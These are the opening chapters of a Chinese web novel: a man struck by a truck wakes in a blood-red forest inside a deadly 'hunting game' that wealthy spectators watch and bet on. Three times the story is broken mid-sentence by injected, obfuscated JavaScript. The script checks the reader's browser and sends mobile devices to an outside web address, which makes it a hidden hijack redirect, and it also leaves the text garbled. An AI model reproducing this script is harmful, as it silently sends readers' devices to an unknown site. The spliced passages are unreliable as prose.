《诡异NPC推演实录》 1. 森林 浓黑沉寂的夜,忙了一天的货车司机单手把着方向盘,另一只手握着白酒瓶,边哼歌边把酒往喉咙里猛灌。 前方路口绿灯出现了五秒倒计时,司机眼睛一眯,快速环视四周,并没有看到有人。 他心一横,决定猛踩油门直冲过去,结果车刚开到路中央,忽然眼前一片黑影闪过,他来不及反应,猛打方向盘冲向了人行道。 砰!!! 巨大的撞击声响起,司机的酒一下子醒了。 如果他没看错的话,刚才这个位置好像站了个人…… 司机后背顿时一凉,恐惧顺着脊背一点点爬满全身。 他艰难地吞咽了下,颤颤巍巍打开车门,却只看到地面上一大片血迹…… - 嘶……好痛…… 黎向辞意识逐渐回笼,能回忆起的只有那辆疾驰而来的货车以及身体上强烈的痛感。 在彻底失去知觉前,他发誓,如果自己大难不死,醒来的第一件事就是把那个撞他的司机绑在他们家的阳台上暴晒一天一夜。 黎向辞缓缓吐出一口气,慢慢活动手指,好让身体逐渐适应自己目前的状况。 待身体机能缓慢恢复的过程中,一股夹杂着复杂腐烂泥土味道的幽冷气息逐渐将他包裹。 黎向辞不受控制地打了个寒颤,艰难地掀开眼皮,发现他正躺在一个一眼望不到边际的原始森林里面。 难道这里是地狱? 看来坏事还是做多了。 他强撑着起身,发现身旁是无数棵高不见顶、遮天蔽日的古树。 古树上爬满了深绿色的青苔,由树干延伸出来的粗壮藤蔓像蛇一般错综复杂地盘在他的脚下,看得他头皮发麻。 肆意弥漫的雾气,如果眯起眼睛仔细看,会发现这些雾呈现出隐隐的红色,像是被血液浸染过。 腥臭的血液味道持久不散,他厌烦地蹙眉,下意识低头看去,发现自己穿着车祸发生时的那件白色毛衣,衣摆处被鲜血染上了一大片不规则的红色。 身体上清晰的痛感告诉黎向辞,衣服上的这些血液来源于他自己的身体。 可他检查半晌,却没发现有任何伤口,只是痛而已。 什么情况,身体怎么是热的。 他好像没死啊。 黎向辞还没来得及思考缘由,目光就被手腕上莫名多出来的黑色手环吸引了。 这么老土沉闷的设计,倒贴给他他都不要,更别提往手腕上戴了。 黎向辞点了下手环的屏幕,无事发生。 这玩意儿难道是个坏的? 那给他戴手环的人也太不够意思了。 研究半晌,当黎向辞发现手环确实无法开机后,他果断放弃了,随即决定往前走走,说不定能有什么意外之喜。 刚走没几步,浓雾中忽然传来了一个怯生生的男人的声音:“有、有人吗?”他的声音颤抖的厉害。 黎向辞脚步一顿,抬眸看向雾气中逐渐显露的瘦弱身影。 那是个戴着眼镜,长相很斯文的小个子男人,约莫三十岁出头,看起来没什么攻击性。 男人在看见黎向辞的瞬间条件反射地抖了下,颤颤巍巍道:“……人?” “不然呢。”黎向辞挑眉。 男人又抖了下。 黎向辞:“……” 其实也不能全怪男人胆子小,黎向辞天生长着一张美到摄人心魄的清冷面容,漂亮的浅色瞳孔让人不敢直视,虽说左脸颊中央的一颗淡褐色的痣替他削弱了些许冷意,但只要他不笑,就会给人一种无形的压迫感。 不过黎向辞此时看起来有些疲惫,压迫感比平时减了大半,整个人看起来懒洋洋的——如果忽略他满身血迹的话。 男人攥着衣角打量他好一会儿,才硬着头皮再次开口:“我、我叫李祈昭,你可以叫我小昭。”想要找人抱团,就得表现出诚意,自报家门算最简单的一种。 黎向辞漫不经心扫他一眼,绕开他继续往前走。 被无视的李祈昭有些尴尬,耳朵“噌”一下红透了,不知所措地站在原地不知道该不该跟上去。 跟上去吧,这青年脾气似乎有点怪,万一骂他怎么办? 不跟吧——不可能不跟!一个人在这么大的森林里面乱逛简直就是找死! 李祈昭咬了咬牙,快步跟了上去,跟前面的青年保持不远不近的距离。 越往雾里走,空气就愈发阴冷,周遭的环境也开始变得奇怪。 原先黎向辞站着的地方只是有些可怖的古树,而仅仅走了这么一小段路,就出现了不少充斥着“人类智慧”的东西。 比如——写着“生人勿进”的破烂木质警示牌。 再比如——一半被埋进土里有干涸血迹的照相机,以及周围散落的、同样染了血的塑料卡片。 “你觉得在前面碰到活人的几率有多大?”黎向辞蹲下身,挨个查看地上散落的卡片。 小心翼翼跟在后面的李祈昭一时间没反应过来,下意识回了声:“啊?” 黎向辞没回应他,而是若有所思地盯着一张工作证看,上面印有一张模糊的照片。 [姓名:程旭阳] [性别:男] [年龄:57岁] [职业:护林员] 结合当下的环境,黎向辞推测,这里的老护林员很大可能跟来森林探险的人起了冲突,双方闹的很不愉快,甚至还发生了肢体冲突,见了血。 但是这跟他有什么关系。 他只是一个被不良司机撞飞了的五好青年。 察觉到有人走近,黎向辞手一转把工作证藏进袖子里站了起来。 “你刚刚是跟我说话了吗?”李祈昭还是那副战战兢兢的模样,“我刚刚走神了,可以麻烦你再说一遍吗?” “不用了。”黎向辞单手插兜,转身看向浓雾最深处,冷冽的嗓音有一种独特的震慑力,“我已经听到脚步声了。” 恰在他说话之时,浓雾竟然缓缓散去,宛如戏剧开幕式一般,将身着白色毛衣的青年逐渐暴露在隐藏在暗处的人眼前。 — 与此同时,宽敞明亮的Svip点播室内,一个巨大的电子屏幕悬浮在空中,画面中央正是站在浓雾中的黎向辞。 屏幕前坐着数十个衣装革履的“观众”,有男有女,个个看起来身份尊贵。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716928|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤其是最高处那个悠闲地支着下巴、饶有兴趣盯着屏幕上修长身影的青年,地位似乎高于在场所有人。 “他竟然不怕,我还是第一次见这么临危不惧的新人玩家。”有人摸了摸下巴,一副等着看好戏的模样,“看这架势,今年第一场推演游戏就是地狱级别的狩猎场啊,这帅哥真倒霉。” “我估计这年轻人还以为是在做梦呢,哈哈哈。”一人看向黎向辞的眼神中满是嘲弄,他扯着嘴角不屑地翘起二郎腿,“等游戏开始的时候,希望他还能这么冷静,可别哭着喊着要回家找爹啊。” 周围顿时一阵哄笑,嘲笑声此起彼伏。 “不过他长得真的好帅啊。”忽然有人星星眼道,“如果他能活着出来,我一定要去亲眼看看,说不定还能处个对象呢。” 原本还算“热闹”的氛围骤然冰冻,所有人纷纷转头看向方才发言的那个人,表情或嘲讽、或不屑,总之都写满了对屏幕里青年的鄙夷。 半晌,才有人嗤笑一声,说:“你想多了,他肯定活不了多久。” 另一人紧接着搭腔:“确实,这种中看不中用的玩家多了去了,现实里估计就是娇气的小明星啊、公子哥之类的,空有颜值,说不定游戏一开始就被吓死了。” “喂,我说你们整天自命什么清高啊?”原先星星眼的人不满道,“谁不是从新人摸爬滚打上来的,有必要说话这么难听吗?” “我们这就说话难听了?”那人态度嚣张,“如果他连这点承受能力都没有,那不如自杀算了,反正早晚都会死。” “你怎么不自杀?我看你活着除了耍耍嘴皮子,也没什么价值!” “你他妈再说一遍!” 两人吵的不可开交,氛围一度变得剑拔弩张。 眼看两人就要打起来,终于有人看不下去出来拉架。 “哎呀,好了好了,都是闯过鬼门关的人,至于因为一个炮灰大动干戈吗?”他说,“我看我们还是来点实际的,要不然用积分赌他能活多久怎么样?一赔十!” “同意,我押50积分,赌他活不过第一晚。”有人说。 “来来来,我押30,赌游戏刚开始就死。” “我也押30……” “我押100……” “我赌他能活着出来!”替黎向辞打抱不平的人阔气地甩出一千积分,却引起一片唏嘘。 原本高格调的Svip点播室变成了低俗的赌场,众人都在兴头上,越来越多的人下注赌黎向辞能存活多长时间。 坐在最高处的青年一直没说话。 直到有人提议把镜头切向其他玩家,青年这才拖着慵懒的语调说:“稍等。” 仅是简单的两个字,全场瞬间噤声,青年又缓缓道:“把他的脸放大。” 话音刚落,黎向辞的脸就占据了整张电子屏。 众人这才发现,屏幕上这人的长相很有攻击性,看久了容易让人心悸。 最高处的青年倏地扯了下嘴角。 正当所有人以为他要发表什么重要言论时,就听见—— “这张脸真适合当gay。” 其他人:“???” 2. 规则 出现在他们面前的大概有五六个人,全部都戴着黑色手环,并且有一个壮汉已经举着尖锐的树杈走到了黎向辞方才蹲着的地方,如果稍晚一秒,说不定就被爆头了。 李祈昭被忽然出现的人吓得一个激灵,很没出息地大叫了一声,不管三七二十一就躲在了黎向辞背后。 他们应该是从踏进浓雾后的第一步就已经被这些人盯上了。 “哥,这是什么意思啊。”黎向辞一改先前的冷漠,笑着用手指了指壮汉手里的武器,“把我当野兔了?” 想动手被发现,壮汉也颇为尴尬,只好把树杈别进裤腰带里,拍了拍掌心的灰,“刚才雾太大,没看清是人。” 谁都能听出来他是在撒谎。 不过黎向辞没有拆穿他,而是欣然接受这个拙劣的解释:“嗯,理解。” 李祈昭藏在他身后一言不发。 壮汉鄙夷地瞥了满脸笑容的青年一眼,扭头对躲得远远的同伴喊:“这两个一个怂货一个蠢货,肯定活不过今晚。”他道:“游戏应该马上就开始了,你们都做好准备,原地休息吧。” 同伴们互相对视一眼,紧挨着坐下了。 游戏? 既然是游戏就会有规则、会有源源不断加入的新人,那肯定也会有介绍规则的人……或“东西”?只不过还没出现罢了,不着急。 黎向辞轻扯起嘴角,无人窥见他眸中闪过的那一瞬兴奋。 他对李祈昭说:“我们也休息吧。” 李祈昭张了张嘴想说些什么,但看见黎向辞已经自顾自找了个相对来说没那么脏乱的角落坐下了,他便只好也跟着坐了过去。 黎向辞坐下后就把眼睛闭上了,李祈昭不知道他是睡着了还是在闭目养神。 不过能在这种情况下睡着,也算是个人物。 李祈昭不敢闭眼,只好警惕地观察四周,生怕再有人拿着树杈袭击他们。 忽然,不远处传来了一个男人崩溃的尖叫声。 “我要回家!!求求你们放我走吧!!” 李祈昭精神瞬间紧绷,慌忙看向身旁的人,却发现黎向辞呼吸均匀睡的很熟,丝毫没有被尖叫声影响到。 李祈昭吞咽了下,默默蜷起腿把脸埋在了膝盖里寻求安全感。 一阵急促的奔跑声过后,那个尖叫的男人满脸惊恐地出现在了他的视野中。 看到正在休息的众人,男人更绝望了。 竟然还有这么多跟他一样戴着手环被莫名送到这片森林的人逃不出去。 他们是不想逃吗? 不,他们是知道出不去了,所以才会选择原地等死。 男人低头苦笑了一声,被困在这里几个小时的焦虑和恐惧感一股脑涌上心头,大脑眩晕了一阵,他扑通一下倒在了地上。 众人面面相觑,没有人敢上去扶。 黎向辞蹙了下眉,依旧没睁眼。 “……这人不会死了吧?”李祈昭哆嗦着戳了戳黎向辞的胳膊。 他实在是忍不住了,如果再不找个人说两句话,他会被自己的胡思乱想吓死的。 结果还没等到黎向辞开口,男人就“噌”地一下坐起来了,垂着脑袋目光呆滞空洞地盯着手腕上的黑色手环看。 下一秒,他就像发了疯似地开始用力扯手环。 “别——”壮汉制止的话还没说出口,就看见男人恶狠狠地把手环扔在地上踩了两脚,嘴里怨愤地嘟囔,眼看精神已经不太正常了。 就在发了疯的男人想把手环重新捡起时,他的脖子忽然在众目睽睽之下“咔”一声往后折成了九十度,然后又机械般地转了一圈,最后炸开了血花。 “啊啊啊啊!!”有人被吓得尖叫,连滚带爬地往后退。 李祈昭更是浑身颤抖着抓住了黎向辞的衣袖。 但这还不算完,男人的四肢倏地开始依次爆炸,砰砰砰的声响在阴暗的森林中显得尤为可怖。 尖叫声此起彼伏,壮汉极力维持秩序的声音零碎的飘散在空中。 直到男人被彻底炸成一滩肉渣,这令人头皮发麻的血肉爆炸的声音才彻底停止。 “谁在放鞭炮。” 冷不防听到声音,李祁昭身体一抖,意识到是身旁的人在说话,他心有余悸地抚了抚胸口,问:“你什么时候醒的?” 都什么时候了,他竟然还有闲心开玩笑。 “从你问我问题的时候。”黎向辞说着又点了下手环,出乎意料的是,屏幕这次居然亮了,他扬眉:“嗯?” 李祁昭瞪大眼睛:“原来这手环能用啊。” 其余人闻声都纷纷低头看向自己的手环,脸色仍然挂着极度的恐惧。 倏地,一个冰冷的机械音凭空出现在众人头顶。 [各位玩家请不要担心,这是送给各位的见面礼,用来活跃气氛的] 黎向辞:“?” 随机炸个人活跃气氛? [当然,这也是在提醒各位新人玩家,擅自取下手环是不对的行为,请引以为戒] [下面是本次NPC推演副本的重点提要规则,请各位玩家牢记] [副本名称:狩猎游戏——血雾森林] [副本人数:200人] [获胜条件:获得积分前五名] 黎向辞眉梢一跳,原来森林里藏着那么多人。 [本次副本设置大量积分点,无时间限制,各位有足够的时间前往积分点获得积分,积分将直接录入手环] [请注意,正常情况下积分不可强行夺取,但可自主交易,人死后积分清零] [本次副本将全程进行直播,除svip观众外,普通观众只能在副本游戏开始后才可以进入直播间、挑选心仪的玩家助力] [普通观众仅可发弹幕或打赏,无任何特殊权利] [svip无法发布弹幕,但可为自己喜欢或讨厌的玩家使用道具(无法致命)] [另外:观众可监控每一位玩家,所以各位玩家可在狩猎的过程中尽情讨好观众,说不定会因此获得庇护哦~] [注:1.手环显示的积分数量百分百准确。 2.手环可查看任何参加过推演游戏玩家的实名资料、副本实时存活情况以及积分总榜。 3.手环即生命,任何人不得故意损坏他人手环,违者将代替该玩家死亡。 4.手环设置直播功能,玩家获得的任何打赏将直接划分至个人账户。 5.手环内有详细使用说明,如有不懂可自行打开“系统”栏查看。] 这“东西”还挺人性化,把重要的规则单拎出来介绍了一遍。 黎向辞边听边若有所思地观察周围人的反应。 有几个胆小的不停在哭,剩下的一两个人明显越听越激动,甚至已经跃跃欲试地站起来了。 无论是出于对活下去的渴望,还是对胜利的欲望,这都让他们感到亢奋。 但这些人无不例外的都对死亡感到强烈的恐惧,五官也因为这两种相矛盾的情绪变得有些扭曲,身体也抖的愈发厉害。 看来有不少人都是带着目的进来的,五个里面就有两个。 黎向辞看了一眼李祈昭,发现他的情绪波动不大,表情也相比之前没什么变化。 察觉到身边人探究的目光,李祈昭顿了下,“怎么了?” “没什么。”黎向辞笑了下,“看你长的可爱。” 李祈昭的脸顿时红了:“……谢谢。” “不客气。”黎向辞从地上起来,抬起手腕想研究一下手环,却被毫无预兆地电了一下。 他蹙眉甩了两下被细小电流电的有些发麻的手,给他配的这个是劣质手环吗?怎么还漏电。 不过这也不是什么大问题,黎向辞并没有放在心上。 冰冷的播报音还在继续。 [现在各位的手环均已接入信号,大量观众即将进入直播间,此刻起——狩猎游戏,正式开始!] 随着最后一声振 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716929|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奋到诡异的话音落下,森林里顿时躁动不堪。 组队的组队,找任务点的找任务点,该躲的躲,只有黎向辞还站在原地捣鼓手环。 他粗略地把副本详细规则通读了一遍,然后点开了“积分点地图”,一份被放大了的地图被投射进他的瞳孔中,清晰到仿佛是在近距离看全息投影。 黎向辞发现地图上只有一个坐标亮着,旁边还标了个淡蓝色的字母“D”。 其它没亮的模糊坐标旁也标了字母,依次为:C、B、A、S、SS、SSS。 字母应该是难度等级。 看样子,“D”是所有积分点难度最低的,并且只有完成上一级别的积分点任务才可以解锁更高难度的积分点。 真是既浪费时间又耗费精力的副本。 李祈昭见状有些急了,忍不住凑过去问:“我们接下来要干什么?找人组队还是直接去积分点?” 得赶紧换个地方,不然被图谋不轨的人盯上了就不好了! “都不要。”黎向辞说,“我想先找个地方补觉。” 通宵上了夜班,出门又被货车撞,他现在累的要命,哪有精力赚积分。 “啊?”李祈昭难以置信,“你听完规则还睡得着?” “当然,困就可以。”黎向辞应景地打了个哈欠,“你想找谁组队就找谁,想去积分点就去,别打扰我睡觉。”说完,他转身就走。 李祈昭咬了咬牙,还是选择跟了上去。 毕竟这么多人里面,只有这个青年看起来还正直一点——尽管他懒散单纯空有一副好相貌,跟着他八成会很凶险,但也比找那些心机深沉的人组队强。 前面是大片大片的变异植物,巨大化的蘑菇、浓绿色的猴耳环、比楼还高的红色滴水观音……各类各色的植物与随处可见的藤蔓纵横交错,扭曲地缠绕在一起,诡异到有一种误食了致幻剂的既视感。 时不时有几个未知生物的黑影从两人身后掠过,发出渗人的“嘶嘶”声,甚至还有些胆大的径直蹭着李祈昭的脚边跑了过去,吓得他几次三番差点背过气。 李祈昭小跑至前面步伐稳健的青年旁,红着眼睛扯了扯他的袖子,“……我可以挽着你走吗?我好害怕。” “随你。”黎向辞懒懒道。 李祈昭感激地抱住了他的胳膊,“谢谢!” 黎向辞又打了个哈欠,刚想往李祈昭身上靠一下,一道更加强烈的电流透过手环刺向他的四肢百骸,李祈昭也被电的弹开了手。 黎向辞原本就疲倦,再被细密的电流这么持续一电,直接腿一软倒在了地上,额间铺了一层薄薄的虚汗。 “你没事吧?”李祈昭着急忙慌地去扶他,结果手环释放的电流更大了,黎向辞艰难地出声制止他,“……你别过来。” 难道是两个手环不能距离太近?但为什么就逮着他一个人电。 黎向辞在地上躺了一会儿,待电流停止后缓缓呼出一口气,然后单手撑地站了起来。 李祈昭见状也不敢动了,抿着嘴紧张地注视着面前的人,“还好吗?” “神清气爽。”黎向辞毕竟是被车撞过的,这点疼痛算得了什么。 他利落地拍了拍身上的泥土,一抬眼,看见面前走过去一对凑的极近的男女,两个人的手环都贴一起去了。 黎向辞:“?”这都没事? 他表情复杂地看了一眼手环,随即以极快的速度触碰了下李祈昭的手环。 第一秒无事发生,但是在他将手收回去的时候那道电流又来了,并且这次更为猛烈。 就像是有延迟一般。 果然。 他应该是被哪个脑残的svip盯上了。 黎向辞疼的大喘着气跪在地上,眸光霎时间沉了下去。 他狠戾地抬眸,一连串脏的不能再脏的辱骂词汇从嘴里不断往外蹦。 李祈昭听的人直接傻了。 说好的懒散单纯空有美貌呢??骂这么脏?? 3. 木屋 点播室里一片死寂。 被骂的人的表情有了微微变化,但肯定不是什么好脸色。 原本还在窃窃私语的众人在听到漂亮青年嘴里吐出的一大串脏话后瞬间噤声,纷纷战战兢兢地扭头或侧目看向最高处坐着的人。 那家伙一生气不会想办法把人给玩死吧…… 他们的担心并不是空穴来风,而是有前车之鉴。 最高处那位名叫嵇无樾。 两年前,嵇无樾因为多次戏耍副本NPC破坏了推演游戏的生态平衡,被手环多次警告后一怒之下差点卡bug把副本搞崩,据说不少人都因此捡回了一条小命。 自那以后,他就被副本拉进“黑名单”了——不允许进入,只允许看。 嵇无樾因此积攒了不少怨念,无聊的日子要么逗新人,要么折磨跟他同为积分榜前列的众人,搞的所有人苦不堪言。 他们倒希望能有个人出来治治无法无天的嵇无樾,无论是给他做老婆还是当亲人,只要能管着他不让他这么放肆就好。 但显然,屏幕里这个正在作死的青年不是最佳人选,说不定还没等从副本出来,就先被睚眦必报的嵇无樾给弄死了。 点播室里面的人正这么胆战心惊地想着,最高处的人忽然笑出了声,却听不出什么意味来。 他们被吓得更不敢呼吸了。 嵇无樾嘴角扯着玩味的笑意盯着屏幕上已经转身离开的人,食指有节奏地敲击着椅子扶手,看起来似乎是在盘算什么坏想法。 片刻,他悠闲地哼着歌起身,一步步迈下台阶朝门口走去。 其余人对视一眼,派出了个跟他关系还不错的人问:“哥,你、你这是要去哪啊?” “去找他。”嵇无樾恶劣一笑,“我有点被骂爽了。” “哈?!”那人目瞪口呆,吞咽了下,劝道:“可是如果你强制中途进去的话,会……” “无所谓。”嵇无樾笑意更甚,“比起那个,我更享受勾引猎物的过程。” “勾引??” “哦,嘴瓢了。”嵇无樾说,“是捕食。” “……”这词其实也挺不对劲的。 - 森林里有些起雾。 脚下是纷乱的杂草和各异的植物,面前是遮挡了视线的灰蒙蒙的白,隐约可见高大古树的树干,压的人喘不过气。 黎向辞瞥了一眼手环上显示的时间,17:30。 雾气也许代表的就是日落,日落后便是夜晚——夜晚总是危险的。 副本的鬼怪和NPC倒是好说,有规则的束缚,不管怎么样总能找到躲避的办法,但是心怀鬼胎的人不行,说动手就动手了,到时候跑也来不及。 旁边的李祈昭显然也是意识到了这一点,脸色愈发变得难看,紧抓着黎向辞衣袖的手指绷得发白。 他扯了扯身旁青年的衣服,嗓音颤抖:“我们能在夜晚来临之前找到躲避的地方吗?” “也许。”黎向辞下意识看向手环,“找不到就在外面等死喽。” 这次怎么不电他了,看来那个狗屁svip还是欠调/教。 闻言,李祈昭万分惊恐地看向他,嘴唇被咬的毫无血色,身体也开始微微发抖,“我不想死……” 这句话本来就是黎向辞随口说的,没想到李祈昭会被吓成这样。 “开个玩笑。”他扬起一抹无辜的笑,“我本意是想活跃气氛的。” 李祈昭:“……” 这活跃气氛的水平跟副本炸人有的一拼。 后面两人没再搭话。 黎向辞靠着手环上自带的指南针辨别方向,带着李祈昭在迷雾中绕了将近一个小时,面前赫然出现了一个破败不堪的小木屋。 小木屋只有一扇小窗户,不过被人从里面封起来了,屋身结满了蜘蛛网,周边满是比人还高的灌木丛,诡异之中竟显得莫名有安全感。 黎向辞检查一圈,在灌木丛里发现了一个被劈成两半的告示牌。 上面的字迹虽说已经有些被腐蚀了,但仔细辨认后能看出来大致写的是什么字——程旭阳,11/12日建。 是那个护林员。 “程旭阳?”李祈昭不知何时凑了过来,“这名字听起来真阳光。” “是吗?你想见见他?”黎向辞把告示牌扔掉,拍了拍手上的灰,径直走过去推开了门。 李祈昭打了个寒颤,连忙跟上去:“算了算了,我不想跟副本里的任何东西正面接触。” 门一开,一股混合着淡淡血腥味的浓重腐烂气息扑面而来,李祈昭胃里翻了翻,最终还是忍着没吐出来。 这味道实在算不上好闻,黎向辞也被刺激地皱起了眉。 比起臭味,更引人瞩目的是屋子里乱七八糟的陈设。 床上的床单落了一层灰,被褥随意地丢在地上,上面有几片红棕色的干涸血液。 墙上挂着煤油灯和生了锈的斧头,桌子、凳子横七竖八地倒在地上,等人高的黑熊标本被压在了衣柜下面,只露出一双浓黑的眼珠子注视着忽然闯进屋子里的两人。 这标本太过逼真,如果不是因为它脚下钉了个黑色的底盘,很容易让人误会这就是一头活着的黑熊。 李祈昭被盯的头皮发麻,强忍着恐惧移开了目光,下意识想往旁边人身边凑,结果抓了个空。 黎向辞捡起地上沾了血的被子往黑熊标本上一盖,紧接着开始翻箱倒柜。 李祈昭不明白他要干什么,只是傻站在原地,直到黎向辞说把门关上,他这才反应过来自己半边身子还在门外,他不受控制地打了个哆嗦,匆忙进屋关上门并落了锁。 门刚一关上,就听见“呲”一声,黎向辞用不知道从哪里翻出来一盒火柴点燃了已经所剩无几的煤油灯。 李祈昭觉得自己真的被吓到精神恍惚了,竟然会觉得这个小木屋被暖黄色的灯光照的有点温馨。 黎向辞提着煤油灯往墙上照了照,发现挂着斧头的挂钩旁还有一个小洞,似乎之前也挂着什么东西,不过被人暴力拿走了。 “拿着。”黎向辞把煤油灯递给身后的人。 李祈昭听话地接过灯,却看见黎向辞伸手把斧头拿下来了,他的神经骤然紧绷,结巴着后退,“你、你干什么?!” “你说呢?”黎向辞挑眉,本就冷然的五官被昏暗的光线衬的狠戾。 他握着斧头步步紧逼,语气略显玩味,“看来你还是不够聪明。” 李祈昭被吓到腿软,握紧煤油灯不断后退。 木屋逼仄,没退两步后背便抵到了冰凉刺骨的木质屋身。 眼看黎向辞举起斧头朝他劈了过来,李祈昭都没来得及叫出声,就听见“咔”一声,斧头不偏不倚落在了距离他脑袋五公分的地方。 “真笨。”黎向辞用另一只手弹了下他的额头,轻笑道:“不把窗户开条缝,你想闷死在这里面啊。” 李祈昭的胸口剧烈起伏,扑通跌坐在地上,看向黎向辞的目光多了几分羞愤。 “生气了?”黎向辞友好地伸出手,歉意地说:“对不起啊,我的朋友也常常说我不适合开玩笑,以后不会了。” 李祈昭盯着他的手看了几秒,从鼻腔里重重呼出一口气,别扭地偏开头自己撑着地站了起来。 黎向辞也不恼,转身走向床边开始铺床。 他把床单扯下来在空中用力抖了抖,直到灰尘落的差不多才停手。 “这个床应该正好能睡下我们两个人。”黎向辞说,“你靠墙睡?” 正常情况下,靠墙睡是最有安全感的,但李祈昭害怕会有什么未知生物直接破墙而入,所以有些犹豫。 黎向辞看出了他的顾虑,于是自顾自躺在了靠墙的位置,“你睡外面。” 方才的不愉快瞬间消散了不少,李祈昭觉得这个青年或许真的只是不太会开玩笑,实际上挺贴心的——尤其是在这种情况下,还愿意考虑他的想法。 “谢谢。”李祈昭发自内心道了谢,搬来凳子放在床头,把煤油灯放上去后便也上床躺着了。 黎向辞含糊嗯了一声,背过身去了。 折腾了这么长时间,他实在困得不行,没多久就睡着了,呼吸声清浅平稳,带的李祈昭也生出了些许倦意,缓缓合上了眼睛。 后半夜,门口的灌木丛忽然传来了窸窸窣窣的脚步声,就像是有人正踩着杂草靠近他们的屋子。 李祈昭向来睡眠浅,听到声音立马睁开了眼睛。 煤油灯不知道什么时候灭了,屋子里只剩下漫无边际的黑暗。 李祈昭瞪大眼睛望向屋门的方向,大气也不敢喘,浑身都起了一层鸡皮疙瘩。 只听那脚步声越来越近,最后毫无征兆地停在了木屋门口,紧接着就是匀速机械的敲门声。 咚,咚,咚。 每一声咚都砸在李祈昭脆弱敏感的神经上,恐惧迅速蔓延至全身,他害怕到全身颤抖。 这种情况下,他不敢出声叫身旁的人,更不敢做出什么大动作引起门外人的注意,只好紧闭双眼偷偷握住了黎向辞温热的手——这是他现在唯一能获得慰藉的来源。 外面的敲门声仍在继续,不过每次都是固定的三声,就像是有什么设定好的程序一样。 这么一来,此刻站在外面的绝对不是像他们一样的人类,而是副本里的东西。 似乎是迟迟得不到回应,外面的东西有些着急,呼吸声渐重,与诡异的敲门声在黑暗中疯狂拽着李祈昭爬至崩溃的边缘。 李祈昭感觉自己真的快要疯了。 正当他鼓足勇气想叫醒仍在熟睡的黎向辞时,屋子里忽然传来沉闷的一声响,似乎是重物落地的声音。 随即又归于寂静。 李祈昭被吓得浑身一抖,终于压抑不住绝望的情绪,猛地转身抱住了黎向辞,心跳激烈如擂鼓。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14716930|157160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……”以为天塌了砸下来的黎向辞拧着眉刚要说话,李祈昭就颤颤巍巍捂住了他的嘴,用气声道:“有、有人在外面。” “那在屋子里砸东西的是谁?”黎向辞同样用气声问。 “屋里面有人?!你别吓我!”李祈昭的眼泪早已溃不成军,难忍呜咽,“我不想在这个鬼地方待了,我要回家……” “没人,但是有别的。”黎向辞坐起身,眯起眼睛盯着屋子里的某个方向看了几秒,忽然问道:“谁?” 李祈昭心头一震,刚要质问他是不是疯了,就听见门外敲门的东西应了一声。 “人。” 音色粗犷厚重,听起来像是一个强壮的男人。 屋子里随之又响了一声,这次还伴随着轻微的摩擦声。 黎向辞若有所思地蹙眉,几秒后又问:“是我们白天见过的那个男人吗?” 那东西顿了片刻才回答:“嗯。” “你要进来?” “嗯。” “想和我们组队?” 这次门外许久没有回应。 “发现什么没有?”黎向辞说着下了床,摸出口袋有些放潮了的火柴点燃了煤油灯。 李祈昭顿了下,问:“……什么?”方才只顾着害怕,根本没认真听黎向辞跟那东西对话的内容。 “它听不太懂人话。”黎向辞提着灯在屋子里转了一圈,最后在衣柜前面停住了。 不是听不懂,而是听不太懂。 因为它的停顿似乎是在思考他说的话是什么意思,最后一个问题明显超出了它的认知范围,所以它沉默了。 李祈昭蜷缩在角落,“所以呢?”副本里的东西听不懂人话是什么很特殊的事情吗? “过来。”黎向辞半蹲下去,举起昏暗的煤油灯照亮面前的一小片区域。 只见原本被被子整个盖住的黑熊标本此时脑袋露在外面,毫无生气的眼珠子正直勾勾盯着某个方向看,衣柜上有一串不太明显的水痕,一直延伸至地板。 他顺着黑熊标本的目光看去——是小木屋的门。 这样就对上了。 恰好此时李祈昭已经走到了他身边,黎向辞扯了下嘴角,提着灯走到了木屋门前。 他伸出一只手在门上敲了几下,边敲边往被他用斧子开了个小缝的窗户旁走去,站定后用力跺了跺脚,然后转头示意李祈昭趴过去看。 李祈昭起先还有些犹豫,但是在黎向辞眼神的怂恿下,外加被这个不知是人是鬼的东西折磨了这么长时间,他的胆子忽然大了起来,一咬牙透过缝隙朝外面看去。 哒,哒,哒。 那东西距离他愈发近了。 李祈昭的心跳再次紧张的剧烈跳动。 为了防止他看不清,黎向辞还贴心地把灯举的更近了些。 外面黑压压的一片,只能看见随着冷风左右飘摇的干枯荒草,以及时不时蹦跶出来的未知黑色飞虫。 就在李祈昭反悔了想后退时,一只布满皱纹的、苍老的眼睛倏地出现在了他的面前。 “嗯,人。” 那东西说话的声音近在咫尺,气势与李祈昭看到的那双明显属于老年人的眼睛极度不符。 他被吓的一个激灵,下意识就要撒丫子往后跑。 黎向辞眼疾手快地抓住他的肩膀,挑眉道:“看清楚外面是什么了?” 